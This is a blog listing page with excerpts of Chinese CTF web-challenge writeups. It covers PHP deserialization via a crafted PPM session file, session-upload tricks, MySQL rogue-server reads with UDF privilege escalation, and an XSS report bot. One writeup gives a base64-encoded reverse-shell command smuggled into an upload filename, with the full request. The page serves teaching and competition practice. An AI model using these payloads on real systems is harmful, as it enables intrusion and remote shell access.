2024新年红包题

将饺替换成0,子替换成1,二进制转换字符串得到 下载附件,审计源码 题目开了imagick扩展 再审计源代码,一共有三个功能点: 反序列化 删除/tmp目录下的所有内容(这算是题目的提示了) 高亮当前文件 再看题目给的后门类: 其实这里sink点有两个,一个是readfile读取文件,另一个是new $a($b)格式的代码 对于new $a($b)格式的代码,如果题目出网并且web目录可写的话,是可以直接RCE的,但是本题既不出网,web目录又不可写 因此题目的sink点就在readfile了,那么如何触发__sleep()魔术方法呢,__sleep魔术方法会在序列化的时候被调用 所以整个攻击流程如下: 首先把/tmp目录清空: GET /?cmd=rm HTTP/1.1 Host: 1.1.1.1:49338 再制作一个PPM图片,选择PPM的原因是PPM末尾允许添加一些脏数据,并且该脏数据也不会被imagick抹去 session的内容生成方式如下: 这里我们设置path属性为/tmp/res路径,这个路径就是/flag复制之后的路径 重点看16行,这里的脏数据的数量其实是有一定要求的,在第12行设置了PPM图片的长和宽,即9*9像素,这里的脏数据+序列化数据的数量需要大于等于3*9*9且小于等于4*9*9(这里3和4可以简单理解为每个像素所占用的字节),具体原理不深究了,这里就当做记个结论(如果有其他想法,可以随时私信讨论) <?php class fumo_backdoor { public $path = null; public $argv = null; public $func = null; public $class = null; } $a = new fumo_backdoor(); $a->path = "/tmp/res"; // 复制后的flag路径 $ppmhead = "P6 9 9 255 " ; $sdata = "|" . serialize($a); $ppm = $ppmhead . str_repeat("\x00", 3 * 9 * 9 - strlen($sdata)) . $sdata; // print($ppm); print(base64_encode($ppm)); //UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30= 有关PPM格式示例文件规范如下(From ChatGPT): ...

February 11, 2024 · 2 min · Red

2024寒假训练赛4——Writeup

WEB web签到 直接上payload /?c=cat /flag%0a 虽然过滤掉了很多东西,但%0a是换行,可以将过滤的指令换到下一行,就不会影响上一行执行 prprp…py? 打开题目显示没有session 可以利用SESSION_UPLOAD_PROGRESS创建一个session: 下方的proxies为BurpSuite的代理地址 import requests url = "http://1.1.1.1:49343/" data = { "PHP_SESSION_UPLOAD_PROGRESS":"a" } file = { "file": ("a","a") } cookies = { "PHPSESSID": "a" } proxies = { "http": "127.0.0.1:8080" } req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies) print(req.text) 发包过去就能拿到源码了 获取到的源码如下,这里稍作分析: $_POST['data']可控,并且会对其反序列化后覆盖变量,所以我们可以任意构造后续的变量,注意在传参的时候需要序列化数据 核心看三个if分支,第一个if分支会对properties变量反序列化,并且调用sctf方法,由于代码里不存在类有sctf方法,因此第一反应应该是构造SoapClient原生类打SSRF 第二个else if分支的用途就比较明显了,可以利用原生类读取任意文件 第三个else语句会去请求内部5000端口的服务并返回结果,一般5000端口是Flask服务,不过这里file_get_contents只能发送GET请求,如果要打Flask的/console的Debug服务需要带Cookie <?php error_reporting(0); if(!isset($_SESSION)){ die('Session not started'); } highlight_file(__FILE__); $type = $_SESSION['type']; $properties = $_SESSION['properties']; echo urlencode($_POST['data']); extract(unserialize($_POST['data'])); if(is_string($properties)&&unserialize(urldecode($properties))){ $object = unserialize(urldecode($properties)); $object -> sctf(); exit(); } else if(is_array($properties)){ $object = new $type($properties[0],$properties[1]); } else { $object = file_get_contents('http://127.0.0.1:5000/'.$properties); } echo "this is the object: $object <br>"; ?> 这里的解题思路如下: ...

February 2, 2024 · 3 min · Red

2024长城杯校内选拔赛——Writeup

WEB 在线解压(2023国赛 华北赛区) 下载源码,审计POST路由,其中savepath可控且无过滤,直接闭合命令执行即可 命令注入点在上传的文件名,由于文件名不能包含/等特殊字符,所以需要把反弹shell的命令base64编码一下: a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`# 完整请求包如下: POST / HTTP/1.1 Host: 1.1.1.1:12345 Content-Length: 277 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLtw6UwBXBsZ5zrtu ------WebKitFormBoundaryLtw6UwBXBsZ5zrtu Content-Disposition: form-data; name="file"; filename="a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#" Content-Type: image/jpeg asdasd ------WebKitFormBoundaryLtw6UwBXBsZ5zrtu-- 附:上传文件请求包 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>POST传输数据包</title> </head> <body> <form action="http://1.1.1.1:12345/" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html> 卫继龚的博客——1(2023WMCTF) 下载题目附件,分析app.js 32-135行的路由,用nodejs实现了werkzeug的console,类似于Flask里面的调试模式的console,不过这里需要鉴权才能进入console 在edit这个路由里,获取传入的id,并做查询, !/\d+/igm.test(id)用于检查id是否包含一个或多个数字,所以还是可以注入的,只需要包含数字且不包含into、outfile、dumpfile即可 再看getPostById方法,这里直接对传入的id做拼接(在post.js) 直接传/post/1'/edit发现就可以注入 前面提到的鉴权,它的pin在程序启动的时候就被打印出来了 ...

February 1, 2024 · 16 min · Red

[2024西湖论剑]only_sql

拿到题目后打开发现是一个mysql连接面板,初步猜测是在自己的远程数据库里写木马再写到靶机上 用vps开一个数据库,给root后连接,发现确实可以执行sql指令 但是没法写东西到靶机里(into outfile),搜索后发现是要开一个secure_file_priv的参数 并且我发现了这篇博客 可以用load data local infile语句在不受这个参数影响的情况下将文件内容读出来并写到我的远程数据库里。当然还可以使用搭建蜜罐的方式直接读文件,我后来选择使用后者 经过测试,蜜罐搭建后用面板连接,确实可以读取到文件 将query.php读出来就可以看到靶机运行的mysql的账号密码和库名,回到一开始的面板登录即可。登陆后,试了一圈也没发现flag文件,所以猜测是在环境变量。但是没找到读环境变量的方法,只能想办法rce 由于实在找不到什么除了sql外的rce手段,所以最后选择直接用udf提权 UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll或.so,常用c语言编写。 先确定secure_file_priv是空值 show variables like '%secure%'; 之后确定一下mysql安装路径 show variables like '%basedir%'; 通过主机版本及架构确认mysql位数来选用udf文件 show variables like '%compile%'; 查看 plugin 目录 show variables like 'plugin%'; 还要再看一下有没有满足高位权限 select * from mysql.user where user = substring_index(user(), '@', 1) ; 最后看一下plugin的值 select host,user,plugin from mysql.user where user = substring_index(user(),'@',1); plugin值表示mysql用户的认证方式。当 plugin 的值为空时不可提权,为 mysql_native_password 时可通过账户连接提权。默认为mysql_native_password。另外,mysql用户还需对此plugin目录具有写权限。 上述条件满足且信息搜集完后,这里我选择用msf里自带的udf库文件,路径是/usr/share/metasploit-framework/data/exploits/mysql ...

January 30, 2024 · 1 min · Red

2024寒假训练赛3——Writeup

WEB TODO 题目给了两个端口,也就是起了两个web服务,一个是一个TODO应用,一个是。。。额。html测试器 应用一 应用二 作者直接给出了源码,页面里看不出啥,我们直接来看源码 在util/report.js发现了可疑的地方。 const LOGIN_URL = "http://127.0.0.1/login"; let browser = null const visit = async (url) => { const ctx = await browser.createIncognitoBrowserContext() const page = await ctx.newPage() await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' }) await page.waitForSelector('form') await page.type('wired-input[name=username]', process.env.USERNAME) await page.type('wired-input[name=password]', process.env.PASSWORD) await page.click('wired-button') try { await page.goto(url, { waitUntil: 'networkidle2' }) } finally { await page.close() await ctx.close() } } const doReportHandler = async (req, res) => { ... await visit(url) ... } 在routes/index.js里可以看到router.post('/report', doReportHandler); ...

January 27, 2024 · 15 min · Red